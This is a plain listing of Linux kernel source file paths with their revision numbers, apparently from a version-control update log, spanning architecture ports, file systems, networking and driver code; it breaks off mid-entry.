linux/include/asm-mips/au1000_usbdev.h - 1.1 linux/drivers/net/e1000/e1000_osdep.h - 1.1 linux/drivers/net/e1000/e1000_param.c - 1.1 linux/arch/mips/sgi-ip27/Makefile - 1.1 linux/arch/mips/sgi-ip27/TODO - 1.1 linux/arch/mips/sgi-ip27/ip27-berr.c - 1.1 linux/arch/mips/sgi-ip27/ip27-console.c - 1.1 linux/arch/mips/sgi-ip27/ip27-init.c - 1.1 linux/arch/mips/sgi-ip27/ip27-irq-glue.S - 1.1 linux/arch/mips/sgi-ip27/ip27-irq.c - 1.1 linux/arch/mips/sgi-ip27/ip27-klconfig.c - 1.1 linux/arch/mips/sgi-ip27/ip27-klnuma.c - 1.1 linux/arch/mips/sgi-ip27/ip27-memory.c - 1.1 linux/arch/mips/sgi-ip27/ip27-nmi.c - 1.1 linux/arch/mips/sgi-ip27/ip27-pci.c - 1.1 linux/arch/mips/sgi-ip27/ip27-reset.c - 1.1 linux/arch/mips/sgi-ip27/ip27-rtc.c - 1.1 linux/arch/mips/sgi-ip27/ip27-setup.c - 1.1 linux/arch/mips/sgi-ip27/ip27-timer.c - 1.1 linux/arch/mips/sgi-ip32/Makefile - 1.1 linux/arch/mips/sgi-ip32/crime.c - 1.1 linux/arch/mips/sgi-ip32/ip32-berr.c - 1.1 linux/arch/mips/sgi-ip32/ip32-irq-glue.S - 1.1 linux/arch/mips/sgi-ip32/ip32-irq.c - 1.1 linux/arch/mips/sgi-ip32/ip32-pci.c - 1.1 linux/arch/mips/sgi-ip32/ip32-reset.c - 1.1 linux/arch/mips/sgi-ip32/ip32-rtc.c - 1.1 linux/arch/mips/sgi-ip32/ip32-setup.c - 1.1 linux/arch/mips/sgi-ip32/ip32-timer.c - 1.1 linux/arch/mips/sibyte/cfe/Makefile - 1.1 linux/arch/mips/sibyte/cfe/cfe_api.c - 1.1 linux/arch/mips/sibyte/cfe/cfe_api.h - 1.1 linux/arch/mips/sibyte/cfe/cfe_error.h - 1.1 linux/arch/mips/sibyte/cfe/cfe_xiocb.h - 1.1 linux/arch/mips/sibyte/cfe/setup.c - 1.1 linux/arch/mips/sibyte/cfe/smp.c - 1.1 linux/drivers/net/e1000/e1000_proc.c - 1.1 linux/arch/ppc/kernel/pci_auto.c - 1.1 linux/drivers/net/irda/act200l.c - 1.1 linux/drivers/net/irda/ma600.c - 1.1 linux/drivers/net/irda/mcp2120.c - 1.1 linux/arch/ppc/kernel/idle_6xx.S - 1.1 linux/drivers/net/meth.c - 1.1 linux/drivers/net/meth.h - 1.1 linux/drivers/pcmcia/au1000_pb1x00.c - 1.1 linux/include/asm-m68k/nubus.h - 1.1 linux/arch/mips/sibyte/sb1250/prom.c - 1.1 linux/arch/ppc/configs/spruce_defconfig - 1.1 linux/arch/ppc/configs/pal4_defconfig - 1.1 linux/drivers/scsi/aacraid/sa.c - 1.1 linux/arch/ppc/configs/briq_defconfig - 1.1 linux/include/asm-ia64/machvec_hpzx1.h - 1.1 linux/include/asm-ia64/acpi.h - 1.1 linux/arch/ppc/boot/simple/misc-spruce.c - 1.1 linux/arch/parisc/vmlinux64.lds - 1.1 linux/arch/parisc/mm/ioremap.c - 1.1 linux/arch/parisc/math-emu/types.h - 1.1 linux/arch/parisc/math-emu/sgl_float.h - 1.1 linux/arch/parisc/math-emu/sfsub.c - 1.1 linux/arch/parisc/math-emu/sfsqrt.c - 1.1 linux/arch/parisc/math-emu/sfrem.c - 1.1 linux/arch/parisc/math-emu/sfmpy.c - 1.1 linux/arch/parisc/math-emu/sfdiv.c - 1.1 linux/arch/parisc/math-emu/sfcmp.c - 1.1 linux/arch/parisc/math-emu/sfadd.c - 1.1 linux/arch/mips/vr41xx/common/Makefile - 1.1 linux/arch/mips/vr41xx/common/bcu.c - 1.1 linux/arch/mips/vr41xx/common/cmu.c - 1.1 linux/arch/mips/vr41xx/common/giu.c - 1.1 linux/arch/mips/vr41xx/common/icu.c - 1.1 linux/arch/mips/vr41xx/common/int-handler.S - 1.1 linux/arch/parisc/math-emu/math-emu.h - 1.1 linux/arch/mips/vr41xx/common/pciu.h - 1.1 linux/arch/mips/vr41xx/common/reset.c - 1.1 linux/arch/mips/vr41xx/common/serial.c - 1.1 linux/arch/parisc/math-emu/hppa.h - 1.1 linux/arch/mips/vr41xx/nec-eagle/Makefile - 1.1 linux/arch/mips/vr41xx/nec-eagle/ide-eagle.c - 1.1 linux/arch/mips/vr41xx/nec-eagle/init.c - 1.1 linux/arch/mips/vr41xx/nec-eagle/irq.c - 1.1 linux/arch/mips/vr41xx/nec-eagle/pci_fixup.c - 1.1 linux/arch/mips/vr41xx/nec-eagle/setup.c - 1.1 linux/arch/mips/vr41xx/zao-capcella/Makefile - 1.1 linux/arch/mips/vr41xx/zao-capcella/ide-capcella.c - 1.1 linux/arch/mips/vr41xx/zao-capcella/init.c - 1.1 linux/arch/mips/vr41xx/zao-capcella/pci_fixup.c - 1.1 linux/arch/mips/vr41xx/zao-capcella/setup.c - 1.1 linux/arch/parisc/math-emu/frnd.c - 1.1 linux/arch/parisc/math-emu/fpudispatch.c - 1.1 linux/include/asm-cris/fasttimer.h - 1.1 linux/include/asm-cris/etraxvirtex.h - 1.1 linux/arch/parisc/math-emu/fpu.h - 1.1 linux/arch/parisc/math-emu/fpbits.h - 1.1 linux/arch/parisc/math-emu/fmpyfadd.c - 1.1 linux/arch/parisc/math-emu/float.h - 1.1 linux/arch/parisc/math-emu/fcnvxf.c - 1.1 linux/arch/parisc/math-emu/fcnvuf.c - 1.1 linux/arch/parisc/math-emu/fcnvfxt.c - 1.1 linux/arch/parisc/math-emu/fcnvfx.c - 1.1 linux/arch/parisc/math-emu/fcnvfut.c - 1.1 linux/arch/parisc/math-emu/fcnvfu.c - 1.1 linux/arch/parisc/math-emu/fcnvff.c - 1.1 linux/arch/parisc/math-emu/driver.c - 1.1 linux/arch/parisc/math-emu/dfsub.c - 1.1 linux/arch/parisc/math-emu/dfsqrt.c - 1.1 linux/arch/parisc/math-emu/dfrem.c - 1.1 linux/fs/partitions/efi.h - 1.1 linux/fs/partitions/efi.c - 1.1 linux/arch/parisc/math-emu/dfmpy.c - 1.1 linux/arch/mips64/defconfig-sead - 1.1 linux/arch/parisc/math-emu/dfdiv.c - 1.1 linux/arch/parisc/math-emu/dfcmp.c - 1.1 linux/arch/mips64/kernel/cpu-probe.c - 1.1 linux/arch/parisc/math-emu/dfadd.c - 1.1 linux/arch/parisc/math-emu/denormal.c - 1.1 linux/arch/parisc/math-emu/decode_exc.c - 1.1 linux/arch/parisc/math-emu/dbl_float.h - 1.1 linux/arch/parisc/math-emu/cnv_float.h - 1.1 linux/arch/parisc/math-emu/README - 1.1 linux/arch/parisc/math-emu/Makefile - 1.1 linux/arch/parisc/lib/memset.c - 1.1 linux/drivers/scsi/zalon7xx.c - 1.1 linux/arch/parisc/lib/io.c - 1.1 linux/drivers/scsi/zalon7xx.h - 1.1 linux/arch/parisc/kernel/unaligned.c - 1.1 linux/arch/parisc/kernel/sys_parisc32.c - 1.1 linux/arch/parisc/kernel/sys32.h - 1.1 linux/arch/parisc/kernel/superio.c - 1.1 linux/arch/parisc/kernel/smp.c - 1.1 linux/arch/parisc/kernel/signal32.c - 1.1 linux/arch/parisc/kernel/processor.c - 1.1 linux/drivers/sound/ali5455.c - 1.1 linux/arch/parisc/kernel/power.c - 1.1 linux/arch/parisc/kernel/perf_images.h - 1.1 linux/arch/parisc/kernel/perf_asm.S - 1.1 linux/arch/parisc/kernel/perf.c - 1.1 linux/drivers/sound/forte.c - 1.1 linux/arch/parisc/kernel/pacache.S - 1.1 linux/drivers/sound/harmony.c - 1.1 linux/arch/parisc/kernel/irq_smp.c - 1.1 linux/fs/jfs/xattr.c - 1.1 linux/fs/jfs/symlink.c - 1.1 linux/fs/jfs/super.c - 1.1 linux/fs/jfs/resize.c - 1.1 linux/fs/jfs/namei.c - 1.1 linux/fs/jfs/jfs_xtree.h - 1.1 linux/fs/jfs/jfs_xtree.c - 1.1 linux/fs/jfs/jfs_xattr.h - 1.1 linux/fs/jfs/jfs_uniupr.c - 1.1 linux/fs/jfs/jfs_unicode.h - 1.1 linux/fs/jfs/jfs_unicode.c - 1.1 linux/fs/jfs/jfs_umount.c - 1.1 linux/fs/jfs/jfs_types.h - 1.1 linux/fs/jfs/jfs_txnmgr.h - 1.1 linux/fs/jfs/jfs_txnmgr.c - 1.1 linux/fs/jfs/jfs_superblock.h - 1.1 linux/fs/jfs/jfs_mount.c - 1.1 linux/fs/jfs/jfs_metapage.h - 1.1 linux/fs/jfs/jfs_metapage.c - 1.1 linux/fs/jfs/jfs_logmgr.h - 1.1 linux/fs/jfs/jfs_logmgr.c - 1.1 linux/fs/jfs/jfs_lock.h - 1.1 linux/fs/jfs/jfs_inode.h - 1.1 linux/fs/jfs/jfs_inode.c - 1.1 linux/fs/jfs/jfs_incore.h - 1.1 linux/fs/jfs/jfs_imap.h - 1.1 linux/fs/jfs/jfs_imap.c - 1.1 linux/fs/jfs/jfs_filsys.h - 1.1 linux/fs/jfs/jfs_extent.h - 1.1 linux/fs/jfs/jfs_extent.c - 1.1 linux/fs/jfs/jfs_dtree.h - 1.1 linux/fs/jfs/jfs_dtree.c - 1.1 linux/fs/jfs/jfs_dmap.h - 1.1 linux/fs/jfs/jfs_dmap.c - 1.1 linux/fs/jfs/jfs_dinode.h - 1.1 linux/fs/jfs/jfs_defragfs.h - 1.1 linux/fs/jfs/jfs_debug.h - 1.1 linux/fs/jfs/jfs_debug.c - 1.1 linux/fs/jfs/jfs_btree.h - 1.1 linux/fs/jfs/inode.c - 1.1 linux/fs/jfs/file.c - 1.1 linux/fs/jfs/Makefile - 1.1 linux/drivers/usb/aiptek.c - 1.1 linux/fs/intermezzo/replicator.c - 1.1 linux/fs/intermezzo/kml_unpack.c - 1.1 linux/fs/intermezzo/journal_tmpfs.c - 1.1 linux/fs/intermezzo/fileset.c - 1.1 linux/drivers/usb/hc_simple.c - 1.1 linux/arch/parisc/kernel/ioctl32.c - 1.1 linux/drivers/usb/hc_simple.h - 1.1 linux/drivers/usb/hc_sl811.c - 1.1 linux/drivers/usb/hc_sl811.h - 1.1 linux/arch/parisc/kernel/head64.S - 1.1 linux/drivers/usb/hc_sl811_rh.c - 1.1 linux/arch/parisc/kernel/firmware.c - 1.1 linux/fs/binfmt_som.c - 1.1 linux/arch/mips64/mm/c-mips64.c - 1.1 linux/fs/befs/super.c - 1.1 linux/fs/befs/linuxvfs.c - 1.1 linux/fs/befs/io.c - 1.1 linux/fs/befs/inode.c - 1.1 linux/fs/befs/endian.h - 1.1 linux/arch/mips64/mm/pg-mips64.c - 1.1 linux/fs/befs/debug.c - 1.1 linux/fs/befs/datastream.c - 1.1 linux/arch/mips64/mm/r5k-sc.c - 1.1 linux/arch/mips64/mm/tlb-r4k.c - 1.1 linux/fs/befs/compatibility.h - 1.1 linux/fs/befs/btree.c - 1.1 linux/fs/befs/befs_fs_types.h - 1.1 linux/fs/befs/befs_fs.h - 1.1 linux/fs/befs/attribute.c - 1.1 linux/fs/befs/TODO - 1.1 linux/fs/befs/Makefile - 1.1 linux/fs/befs/ChangeLog - 1.1 linux/drivers/usb/serial/io_fw_down3.h - 1.1 linux/drivers/usb/serial/io_ti.c - 1.1 linux/drivers/usb/serial/io_ti.h - 1.1 linux/drivers/usb/serial/keyspan_usa19qi_fw.h - 1.1 linux/drivers/video/sti/stifb.c - 1.1 linux/drivers/video/sti/sticore.h - 1.1 linux/drivers/video/sti/sticore.c - 1.1 linux/drivers/video/sti/sticon.c - 1.1 linux/drivers/video/sti/Makefile - 1.1 linux/drivers/video/sis/sis_accel.h - 1.1 linux/drivers/video/sis/sis_accel.c - 1.1 linux/drivers/usb/serial/keyspan_usa19qw_fw.h - 1.1 linux/arch/parisc/kernel/binfmt_elf32.c - 1.1 linux/drivers/usb/storage/sddr55.c - 1.1 linux/drivers/usb/storage/sddr55.h - 1.1 linux/drivers/usb/tiglusb.c - 1.1 linux/drivers/usb/tiglusb.h - 1.1 linux/drivers/video/epson1356fb.h - 1.1 linux/drivers/video/epson1356fb.c - 1.1 linux/drivers/usb/usb-midi.c - 1.1 linux/drivers/usb/usb-midi.h - 1.1 linux/drivers/video/au1100fb.h - 1.1 linux/drivers/video/au1100fb.c - 1.1 linux/drivers/usb/usblcd.c - 1.1 linux/scripts/ver_linux - 1.10 linux/net/unix/af_unix.c - 1.41 linux/net/sunrpc/xprt.c - 1.23 linux/net/sunrpc/xdr.c - 1.7 linux/net/sunrpc/svcsock.c - 1.16 linux/net/sunrpc/svc.c - 1.9 linux/net/sunrpc/sunrpc_syms.c - 1.11 linux/net/sunrpc/stats.c - 1.9 linux/net/sunrpc/sched.c - 1.24 linux/net/sunrpc/clnt.c - 1.15 linux/net/sunrpc/Makefile - 1.5 linux/net/socket.c - 1.30 linux/net/sched/sch_generic.c - 1.12 linux/net/sched/sch_api.c - 1.14 linux/net/sched/Makefile - 1.7 linux/net/sched/Config.in - 1.9 linux/net/netsyms.c - 1.43 linux/net/netlink/af_netlink.c - 1.17 linux/net/irda/qos.c - 1.15 linux/net/irda/irsysctl.c - 1.8 linux/net/irda/irlmp_frame.c - 1.10 linux/net/irda/irlmp_event.c - 1.15 linux/net/irda/irlmp.c - 1.17 linux/net/irda/irlap_event.c - 1.21 linux/net/irda/irlap.c - 1.18 linux/net/irda/irlan/irlan_client.c - 1.11 linux/net/irda/iriap_event.c - 1.9 linux/net/irda/iriap.c - 1.15 linux/net/irda/discovery.c - 1.8 linux/net/irda/af_irda.c - 1.32 linux/net/ipv6/udp.c - 1.25 linux/net/ipv6/tcp_ipv6.c - 1.35 linux/net/ipv6/sit.c - 1.20 linux/net/ipv6/route.c - 1.22 linux/net/ipv6/reassembly.c - 1.11 linux/net/ipv6/ndisc.c - 1.19 linux/net/ipv6/ip6_output.c - 1.14 linux/net/ipv6/ip6_fib.c - 1.11 linux/net/ipv6/icmp.c - 1.17 linux/net/ipv6/datagram.c - 1.10 linux/net/ipv6/addrconf.c - 1.24 linux/net/ipv4/tcp_output.c - 1.28 linux/net/ipv4/tcp_ipv4.c - 1.44 linux/net/ipv4/tcp_input.c - 1.37 linux/net/ipv4/tcp.c - 1.39 linux/net/ipv4/route.c - 1.35 linux/net/ipv4/proc.c - 1.12 linux/net/ipv4/ipmr.c - 1.21 linux/net/ipv4/ipip.c - 1.22 linux/net/ipv4/ipconfig.c - 1.29 linux/net/ipv4/ip_output.c - 1.32 linux/net/ipv4/ip_options.c - 1.7 linux/net/ipv4/ip_gre.c - 1.20 linux/net/ipv4/igmp.c - 1.16 linux/net/ipv4/arp.c - 1.22 linux/net/core/sysctl_net_core.c - 1.5 linux/net/core/rtnetlink.c - 1.12 linux/net/core/dst.c - 1.9 linux/net/core/dev.c - 1.51 linux/net/bridge/br.c - 1.22 linux/mm/vmscan.c - 1.97 linux/mm/vmalloc.c - 1.37 linux/mm/swap_state.c - 1.37 linux/mm/swap.c - 1.21 linux/mm/slab.c - 1.32 linux/mm/page_io.c - 1.21 linux/mm/page_alloc.c - 1.75 linux/mm/mmap.c - 1.48 linux/mm/memory.c - 1.77 linux/mm/filemap.c - 1.116 linux/lib/inflate.c - 1.6 linux/lib/Makefile - 1.10 linux/kernel/time.c - 1.10 linux/kernel/softirq.c - 1.20 linux/kernel/sched.c - 1.49 linux/kernel/resource.c - 1.16 linux/kernel/panic.c - 1.18 linux/kernel/ksyms.c - 1.137 linux/kernel/fork.c - 1.42 linux/kernel/exit.c - 1.37 linux/ipc/util.c - 1.20 linux/ipc/sem.c - 1.17 linux/ipc/msg.c - 1.13 linux/include/video/fbcon.h - 1.12 linux/include/scsi/sg.h - 1.14 linux/include/scsi/scsi.h - 1.7 linux/include/net/tcp.h - 1.29 linux/include/net/ndisc.h - 1.8 linux/include/net/irda/irlmp.h - 1.11 linux/include/net/irda/irlan_client.h - 1.4 linux/include/net/irda/discovery.h - 1.6 linux/include/linux/wireless.h - 1.9 linux/include/linux/watchdog.h - 1.6 linux/include/linux/vt_kern.h - 1.6 linux/include/linux/vmalloc.h - 1.17 linux/include/linux/tty.h - 1.17 linux/include/linux/sysctl.h - 1.51 linux/include/linux/synclink.h - 1.7 linux/include/linux/swap.h - 1.52 linux/include/linux/sunrpc/xprt.h - 1.11 linux/include/linux/sunrpc/xdr.h - 1.7 linux/include/linux/sunrpc/types.h - 1.4 linux/include/linux/sunrpc/svcsock.h - 1.4 linux/include/linux/sunrpc/svc.h - 1.5 linux/include/linux/sunrpc/sched.h - 1.10 linux/include/linux/sunrpc/clnt.h - 1.8 linux/include/linux/smb_mount.h - 1.5 linux/include/linux/slab.h - 1.23 linux/include/linux/sched.h - 1.52 linux/include/linux/rtnetlink.h - 1.13 linux/include/linux/pkt_sched.h - 1.6 linux/include/linux/pci.h - 1.55 linux/include/linux/parport.h - 1.23 linux/include/linux/pagemap.h - 1.41 linux/include/linux/nvram.h - 1.4 linux/include/linux/nubus.h - 1.6 linux/include/linux/notifier.h - 1.4 linux/include/linux/nfsd/nfsd.h - 1.15 linux/include/linux/nfsd/export.h - 1.11 linux/include/linux/nfs_fs.h - 1.20 linux/include/linux/netlink.h - 1.9 linux/include/linux/netdevice.h - 1.33 linux/include/linux/list.h - 1.11 linux/include/linux/limits.h - 1.6 linux/include/linux/kernel_stat.h - 1.9 linux/include/linux/kernel.h - 1.32 linux/include/linux/irda.h - 1.11 linux/include/linux/ioport.h - 1.12 linux/include/linux/igmp.h - 1.6 linux/include/linux/if_ether.h - 1.10 linux/include/linux/genhd.h - 1.20 linux/include/linux/fs.h - 1.159 linux/include/linux/elf.h - 1.15 linux/include/linux/dio.h - 1.3 linux/include/linux/dcache.h - 1.22 linux/include/linux/byteorder/swab.h - 1.6 linux/include/linux/byteorder/little_endian.h - 1.5 linux/include/linux/byteorder/big_endian.h - 1.5 linux/include/linux/blkdev.h - 1.46 linux/include/linux/auto_fs.h - 1.8 linux/include/asm-sparc64/timex.h - 1.5 linux/include/asm-sparc64/termbits.h - 1.5 linux/include/asm-sparc64/spitfire.h - 1.8 linux/include/asm-sparc64/socket.h - 1.7 linux/include/asm-sparc64/smp.h - 1.13 linux/include/asm-sparc64/semaphore.h - 1.10 linux/include/asm-sparc64/pconf.h - 1.3 linux/include/asm-sparc64/oplib.h - 1.8 linux/include/asm-sparc64/head.h - 1.4 linux/include/asm-sparc64/elf.h - 1.13 linux/include/asm-sparc64/asi.h - 1.5 linux/include/asm-sparc/vaddrs.h - 1.8 linux/include/asm-sparc/vac-ops.h - 1.3 linux/include/asm-sparc/ultra.h - 1.3 linux/include/asm-sparc/types.h - 1.4 linux/include/asm-sparc/timex.h - 1.3 linux/include/asm-sparc/termbits.h - 1.5 linux/include/asm-sparc/socket.h - 1.7 linux/include/asm-sparc/semaphore.h - 1.9 linux/include/asm-sparc/pconf.h - 1.3 linux/include/asm-sparc/io.h - 1.10 linux/include/asm-sparc/floppy.h - 1.6 linux/include/asm-sparc/eeprom.h - 1.3 linux/include/asm-sparc/clock.h - 1.3 linux/include/asm-sparc/btfixup.h - 1.3 linux/include/asm-ppc/unistd.h - 1.18 linux/include/asm-ppc/timex.h - 1.7 linux/include/asm-ppc/termios.h - 1.9 linux/include/asm-ppc/spinlock.h - 1.12 linux/include/asm-ppc/socket.h - 1.8 linux/include/asm-ppc/serial.h - 1.11 linux/include/asm-ppc/semaphore.h - 1.9 linux/include/asm-ppc/prom.h - 1.16 linux/include/asm-ppc/processor.h - 1.32 linux/include/asm-ppc/pgtable.h - 1.30 linux/include/asm-ppc/pci-bridge.h - 1.9 linux/include/asm-ppc/mbx.h - 1.8 linux/include/asm-ppc/machdep.h - 1.23 linux/include/asm-ppc/keyboard.h - 1.11 linux/include/asm-ppc/irq.h - 1.15 linux/include/asm-ppc/hardirq.h - 1.15 linux/include/asm-ppc/gg2.h - 1.4 linux/include/asm-ppc/floppy.h - 1.6 linux/include/asm-ppc/fads.h - 1.6 linux/include/asm-ppc/bootinfo.h - 1.9 linux/include/asm-ppc/amigaints.h - 1.6 linux/include/asm-mips/unaligned.h - 1.7 linux/include/asm-mips/types.h - 1.8 linux/include/asm-mips/timex.h - 1.6 linux/include/asm-mips/termios.h - 1.11 linux/include/asm-mips/system.h - 1.13 linux/include/asm-mips/string.h - 1.8 linux/include/asm-mips/stackframe.h - 1.9 linux/include/asm-mips/spinlock.h - 1.10 linux/include/asm-mips/softirq.h - 1.8 linux/include/asm-mips/socket.h - 1.10 linux/include/asm-mips/smp.h - 1.6 linux/include/asm-mips/signal.h - 1.7 linux/include/asm-mips/siginfo.h - 1.8 linux/include/asm-mips/shmiq.h - 1.4 linux/include/asm-mips/sgiarcs.h - 1.7 linux/include/asm-mips/sgialib.h - 1.8 linux/include/asm-mips/serial.h - 1.7 linux/include/asm-mips/semaphore.h - 1.11 linux/include/asm-mips/scatterlist.h - 1.5 linux/include/asm-mips/rrm.h - 1.3 linux/include/asm-mips/processor.h - 1.21 linux/include/asm-mips/prctl.h - 1.6 linux/include/asm-mips/posix_types.h - 1.7 linux/include/asm-mips/pgtable.h - 1.17 linux/include/asm-mips/pci.h - 1.16 linux/include/asm-mips/page.h - 1.10 linux/include/asm-mips/mmu_context.h - 1.9 linux/include/asm-mips/mipsregs.h - 1.12 linux/include/asm-mips/mc146818rtc.h - 1.8 linux/include/asm-mips/linux_logo.h - 1.7 linux/include/asm-mips/irq.h - 1.9 linux/include/asm-mips/ipc.h - 1.4 linux/include/asm-mips/ioctls.h - 1.7 linux/include/asm-mips/io.h - 1.11 linux/include/asm-mips/gfx.h - 1.6 linux/include/asm-mips/gdb-stub.h - 1.7 linux/include/asm-mips/fcntl.h - 1.12 linux/include/asm-mips/elf.h - 1.12 linux/include/asm-mips/dma.h - 1.8 linux/include/asm-mips/delay.h - 1.9 linux/include/asm-mips/cpu.h - 1.9 linux/include/asm-mips/checksum.h - 1.8 linux/include/asm-mips/cacheops.h - 1.3 linux/include/asm-mips/bootinfo.h - 1.13 linux/include/asm-mips/bitops.h - 1.11 linux/include/asm-mips/bcache.h - 1.7 linux/include/asm-mips/atomic.h - 1.10 linux/include/asm-mips/asmmacro.h - 1.6 linux/include/asm-mips/asm.h - 1.7 linux/include/asm-mips/addrspace.h - 1.6 linux/include/asm-m68k/unistd.h - 1.13 linux/include/asm-m68k/types.h - 1.4 linux/include/asm-m68k/timex.h - 1.3 linux/include/asm-m68k/termios.h - 1.7 linux/include/asm-m68k/socket.h - 1.7 linux/include/asm-m68k/semaphore.h - 1.11 linux/include/asm-m68k/q40_keyboard.h - 1.5 linux/include/asm-m68k/macintosh.h - 1.5 linux/include/asm-m68k/machw.h - 1.4 linux/include/asm-m68k/irq.h - 1.6 linux/include/asm-m68k/io.h - 1.8 linux/include/asm-i386/unistd.h - 1.21 linux/include/asm-i386/timex.h - 1.6 linux/include/asm-i386/termios.h - 1.7 linux/include/asm-i386/system.h - 1.24 linux/include/asm-i386/spinlock.h - 1.25 linux/include/asm-i386/socket.h - 1.7 linux/include/asm-i386/smp.h - 1.16 linux/include/asm-i386/semaphore.h - 1.18 linux/include/asm-i386/scatterlist.h - 1.4 linux/include/asm-i386/pgtable.h - 1.29 linux/include/asm-i386/msr.h - 1.12 linux/include/asm-i386/io.h - 1.21 linux/include/asm-i386/fixmap.h - 1.10 linux/include/asm-i386/bitops.h - 1.10 linux/include/asm-arm/timex.h - 1.4 linux/include/asm-arm/socket.h - 1.7 linux/include/asm-arm/semaphore.h - 1.9 linux/include/asm-alpha/timex.h - 1.3 linux/include/asm-alpha/socket.h - 1.7 linux/include/asm-alpha/semaphore.h - 1.11 linux/include/asm-alpha/ioctls.h - 1.8 linux/include/asm-alpha/io.h - 1.17 linux/include/asm-alpha/floppy.h - 1.6 linux/fs/ufs/truncate.c - 1.13 linux/fs/super.c - 1.78 linux/fs/smbfs/sock.c - 1.10 linux/fs/smbfs/proc.c - 1.16 linux/fs/smbfs/inode.c - 1.27 linux/fs/pipe.c - 1.25 linux/fs/open.c - 1.36 linux/fs/nls/Makefile - 1.9 linux/fs/nls/Config.in - 1.11 linux/fs/nfsd/vfs.c - 1.42 linux/fs/nfsd/nfsxdr.c - 1.13 linux/fs/nfsd/nfssvc.c - 1.19 linux/fs/nfsd/nfsproc.c - 1.20 linux/fs/nfsd/nfsfh.c - 1.34 linux/fs/nfsd/nfscache.c - 1.9 linux/fs/nfsd/nfs3xdr.c - 1.22 linux/fs/nfsd/nfs3proc.c - 1.12 linux/fs/nfsd/export.c - 1.23 linux/fs/nfs/write.c - 1.35 linux/fs/nfs/symlink.c - 1.15 linux/fs/nfs/read.c - 1.28 linux/fs/nfs/proc.c - 1.12 linux/fs/nfs/nfsroot.c - 1.11 linux/fs/nfs/nfs3xdr.c - 1.8 linux/fs/nfs/nfs2xdr.c - 1.11 linux/fs/nfs/mount_clnt.c - 1.7 linux/fs/nfs/inode.c - 1.35 linux/fs/nfs/dir.c - 1.31 linux/fs/ncpfs/ncplib_kernel.c - 1.12 linux/fs/ncpfs/ioctl.c - 1.16 linux/fs/ncpfs/inode.c - 1.23 linux/fs/ncpfs/dir.c - 1.26 linux/fs/namei.c - 1.46 linux/fs/locks.c - 1.21 linux/fs/lockd/xdr.c - 1.13 linux/fs/lockd/svcproc.c - 1.11 linux/fs/isofs/inode.c - 1.28 linux/fs/file_table.c - 1.17 linux/fs/fcntl.c - 1.19 linux/fs/ext2/super.c - 1.23 linux/fs/ext2/ioctl.c - 1.9 linux/fs/ext2/inode.c - 1.37 linux/fs/exec.c - 1.52 linux/fs/dcache.c - 1.33 linux/fs/buffer.c - 1.111 linux/fs/Makefile - 1.55 linux/fs/Config.in - 1.87 linux/drivers/zorro/proc.c - 1.12 linux/drivers/video/vesafb.c - 1.18 linux/drivers/video/q40fb.c - 1.10 linux/drivers/video/newport_con.c - 1.10 linux/drivers/video/macfb.c - 1.13 linux/drivers/video/hpfb.c - 1.12 linux/drivers/video/fbmem.c - 1.46 linux/drivers/video/fbcon.c - 1.26 linux/drivers/video/dnfb.c - 1.12 linux/drivers/video/clgenfb.c - 1.26 linux/drivers/video/Makefile - 1.37 linux/drivers/video/Config.in - 1.34 linux/drivers/usb/usb.c - 1.61 linux/drivers/usb/usb-debug.c - 1.15 linux/drivers/usb/uhci.h - 1.28 linux/drivers/usb/uhci.c - 1.59 linux/drivers/usb/hub.c - 1.42 linux/drivers/usb/audio.c - 1.37 linux/drivers/usb/Makefile - 1.49 linux/drivers/usb/Config.in - 1.52 linux/drivers/sound/pss.c - 1.12 linux/drivers/sound/es1371.c - 1.38 linux/drivers/sound/es1370.c - 1.37 linux/drivers/sound/cs4232.c - 1.13 linux/drivers/sound/bin2hex.c - 1.4 linux/drivers/sound/Makefile - 1.35 linux/drivers/sound/Config.in - 1.32 linux/drivers/sgi/char/usema.c - 1.9 linux/drivers/sgi/char/streamable.c - 1.8 linux/drivers/sgi/char/shmiq.c - 1.17 linux/drivers/sgi/char/sgiserial.h - 1.5 linux/drivers/sgi/char/sgiserial.c - 1.13 linux/drivers/sgi/char/sgicons.c - 1.6 linux/drivers/sgi/char/rrm.c - 1.6 linux/drivers/sgi/char/newport.c - 1.7 linux/drivers/sgi/char/graphics.h - 1.4 linux/drivers/sgi/char/graphics.c - 1.17 linux/drivers/scsi/wd33c93.h - 1.10 linux/drivers/scsi/u14-34f.h - 1.9 linux/drivers/scsi/u14-34f.c - 1.19 linux/drivers/scsi/sym53c8xx.h - 1.9 linux/drivers/scsi/sym53c8xx.c - 1.31 linux/drivers/scsi/st_options.h - 1.7 linux/drivers/scsi/st.h - 1.14 linux/drivers/scsi/st.c - 1.38 linux/drivers/scsi/sr_ioctl.c - 1.21 linux/drivers/scsi/sr.c - 1.33 linux/drivers/scsi/seagate.c - 1.15 linux/drivers/scsi/scsi_error.c - 1.23 linux/drivers/scsi/scsi_debug.h - 1.7 linux/drivers/scsi/scsi_debug.c - 1.19 linux/drivers/scsi/scsi.h - 1.24 linux/drivers/scsi/scsi.c - 1.46 linux/drivers/scsi/script_asm.pl - 1.5 linux/drivers/scsi/qlogicpti.h - 1.5 linux/drivers/scsi/qlogicfc.h - 1.9 linux/drivers/scsi/ppa.c - 1.13 linux/drivers/scsi/pas16.c - 1.11 linux/drivers/scsi/ncr53c8xx.c - 1.24 linux/drivers/scsi/mvme16x.c - 1.7 linux/drivers/scsi/mesh.c - 1.13 linux/drivers/scsi/megaraid.h - 1.14 linux/drivers/scsi/megaraid.c - 1.34 linux/drivers/scsi/mac_esp.c - 1.12 linux/drivers/scsi/imm.c - 1.13 linux/drivers/scsi/ide-scsi.c - 1.20 linux/drivers/scsi/hosts.h - 1.19 linux/drivers/scsi/hosts.c - 1.27 linux/drivers/scsi/fdomain.c - 1.19 linux/drivers/scsi/esp.h - 1.6 linux/drivers/scsi/esp.c - 1.17 linux/drivers/scsi/eata.h - 1.8 linux/drivers/scsi/eata.c - 1.20 linux/drivers/scsi/bvme6000.c - 1.5 linux/drivers/scsi/aha152x.c - 1.28 linux/drivers/scsi/README.st - 1.9 linux/drivers/scsi/NCR53C9x.c - 1.13 linux/drivers/scsi/Makefile - 1.35 linux/drivers/scsi/Config.in - 1.30 linux/drivers/scsi/53c7xx.c - 1.16 linux/drivers/sbus/dvma.c - 1.7 linux/drivers/sbus/char/Config.in - 1.8 linux/drivers/sbus/audio/dbri.c - 1.14 linux/drivers/pci/quirks.c - 1.31 linux/drivers/pci/proc.c - 1.23 linux/drivers/pci/pci.c - 1.50 linux/drivers/pci/Makefile - 1.19 linux/drivers/nubus/nubus.c - 1.8 linux/drivers/net/zlib.h - 1.3 linux/drivers/net/zlib.c - 1.7 linux/drivers/net/yellowfin.c - 1.30 linux/drivers/net/wd.c - 